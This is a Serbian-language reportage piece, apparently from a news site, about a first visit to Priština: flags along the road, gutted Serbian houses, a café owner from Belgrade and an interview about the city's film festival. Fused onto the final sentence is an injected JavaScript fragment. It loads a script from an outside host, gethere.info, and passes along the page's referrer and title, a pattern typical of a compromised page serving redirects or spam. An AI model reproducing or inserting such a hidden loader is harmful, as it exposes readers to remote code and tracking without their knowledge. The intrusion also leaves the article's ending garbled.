PRIŠTINA, PRVI PUT VIĐENA: Srdačni razgovori i zabranjene teme

PRIŠTINA, PRVI PUT VIĐENA: Srdačni razgovori i zabranjene teme


Srbi su u Prištini dobrodošli sve dok nemaju nameru da u njoj ostanu, dok ne pitaju o položaju svojih sunarodnika, dok ne istražuju šta je sa kućama, skeletima, nestalima, umrlima…

Nikada nisam bio u Prištini. Dok je obilazak glavnih gradova republika i pokrajina SFRJ bio obavezni program, Priština i ja smo se mimoilazili. Nakon toga nije bilo dobrog povoda, a ni valjanog razloga za susret. Sve što znam o tom gradu načuo sam od nekoliko ljudi koji su tamo proveli delove svojih života. Utisci su im pomešani, a odlasci nisu direktno uslovljeni poslednjom tučom za komad zemlje na koju polažu pravo i oni i mi. Ove misli mi se vrte po glavi dok prelazimo nevidljivu liniju koju mi zovemo administrativni prelaz, a oni državna granica. Realno, više me podseća na ček point Čarli iz loših špijunskih filmova.

Oteto i prokleto

Put do Prištine jasno je definisan zastavama. Ili sa bandera vise srpske trobojke ili albanski crni orao. Već viđene žuto-plave zastave republike koju ne priznaju ni oni koji na toj teritoriji žive sporadična su pojava. Razrušenih domova i znatiželjnih pogleda ne nedostaje, bez obzira na to gde ste.

Još je bilo jutro kada smo stigli do čuvenog hotela “Grand”. Stihovi Bore Đorđevića o tom hotelu i bandi koja se tamo okuplja su mi oduvek bili jedna od prvih asocijacija na Prištinu. Sve deluje nedovršeno, a poseban šmek celom gradu daju kuće “odrane” do nivoa temelja i nosećih zidova. Kažu mi da su to kuće nealbanaca koji nisu hteli da ih prodaju. Sada ti betonski skeleti stoje kao strašila za povratnike i opomena ovim drugima da je sve oteto i prokleto.

Usred pešačke zone odmah pored crnogorskog diplomatskog predstavništva koje označava zastava koja visi sa nekakvog balkona je kafe koji drži bivši Beograđanin. On je, kaže, iz Beograda zapalio 1999. godine, ali Beograd iz njega otišao nije. Raspituje se kako danas izgleda Mirijevo, tamo je odrastao. Realno nemam pojma, ne sećam se kada sam tamo poslednji put išao. Sem srdačnosti, ceo razgovor je prazan i obojen moratorijumom na ozbiljne teme.

Noć pre mog dolaska u Prištini je završen osmi po redu Međunarodni filmski festival. Jednu od nagrada je dobila i Jovana Karaulić. Sve najbolje mi priča o festu, o organizatorima i ljudima koje je srela. Preporučuje mi i sledećeg sagovornika, PR-a i suvlasnika Prištinskog filmskog festivala Vjosu Beriša. Nalazimo se u kafeu “Soma Buk stejšn”, mestu u trendu. Vjosa me dočekuje ispred, uvodi me i upoznaje sa gostima festivala koji su tu na ručku. Dominiraju stranci. Mislim pravi stranci, a ne domaći stranci sa kojima smo ja i svi mi donedavno ustajali na “Hej, Sloveni” .

pristina poslednja srpkinja (1)Utisci su im pomešani, a odlasci nisu direktno uslovljeni poslednjom tučom za komad zemlje na koju polažu pravo i oni i mi. Ove misli mi se vrte po glavi dok prelazimo nevidljivu liniju koju mi zovemo administrativni prelaz, a oni državna granica.

Gospođa Beriša, koja je aktivno učestvovala u kampanji za nezavisnost Kosova koju su finansirale SAD, deluju prijatno. Nasmejana je i pričljiva, pokušava da sve kaže na srpskom, kada zapne ubaci po neku na engleskom. Ona i muž, režiser Fatos, žive na relaciji Tirana – Priština. Tako im je, kaže, lakše. Nekako mislim da je to san svih koji u Prištini uzmu neku kintu. Kada sam je pitao kako se danas živi u Prištini, napravila je paralelu upravo između Tirane i Prištine.

– Tirana je danas onoliko ispred Prištine koliko je nekada bila Priština ispred Tirane. A to nije malo – rekla je.

I film oterali u egzil

Protiv ksenofobije koju ne poriče kao dominantnu odrednicu kosovskog društva u nastajanju Vjosa se bori otvaranjem tema i prezentacijom angažovanih filmova. Osvrt na poslednje dane života bez administrativnog prelaza i bez granice jeste umetnički izazov, ali ne i realnost koju očekuje da neko obradi na pravi način. Bar ne još. Mnogo je sve sveže. Vjosa insistira na potrebi da se razumemo, a put do tog razumevanja vidi kroz kulturnu saradnju u vidu prezentacije i koprodukcije.

Filmski festival u Prištini ne bi postojao bez Sarajevo film festivala koji je kolegama u Prištini stavio na raspolaganje kompletan know-how i time podigao produkcioni nivo. Vanesa Redgrejv upisala je svojom podrškom festival u međunarodni kalendar i on je tako živeo do prošle godine. Tada su se nove vlasti u Prištini setile da je neophodno da prištede na kontu filma i umetnosti pa su finansiranje osakatile za celih 75%, što je festival oteralo u egzil u Tiranu. Ove godine celo finansiranje je prekomponovano i festival se vratio u mesto rođenja.pristina poslednja srpkinja (6)

Put do Prištine jasno je definisan zastavama. Ili sa bandera vise srpske trobojke ili albanski crni orao. Žuto-plave su sporadična pojava.

Vraćajući se preko trga ka hotelu “Grand”, koji svojom unutrašnjošću podseća na hotel “Metropol” ali iz prošlog veka, sreo sam se sa Skenderbegom, Rugovom i nekolicinom meni stranih likova iz novih ratova sa statusom heroja kod njih i statusom zločinaca kod nas. Krećemo nazad za Beograd, a momak koji naplaćuje parking nas na korektnom engleskom upućuje na put ka Mitrovici. Sve uz osmeh.

Kuće skeleti pišu istoriju

Po svemu viđenom Srbi su u Prištini dobrodošli sve dok nemaju nameru da u njoj ostanu. Dok ne pitaju o položaju svojih sunarodnika, dok ne istražuju šta je sa kućama skeletima, šta sa nestalima, šta sa umrlima. U takvoj atmosferi ignorisanja stvarnosti Kosovo očekuje susret sa svojom i našom istorijom. Do tog susreta ostaće zarobljenik ružičastih naočara koje pokušavaju da veselim bojama odslikaju sivu stvarnost o kojoj govori čudna tenzija koja se oseća čim skrenete sa onih glavnih, reprezentativnih ulica.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

+ Trenutno nema komentara

Dodajte komentar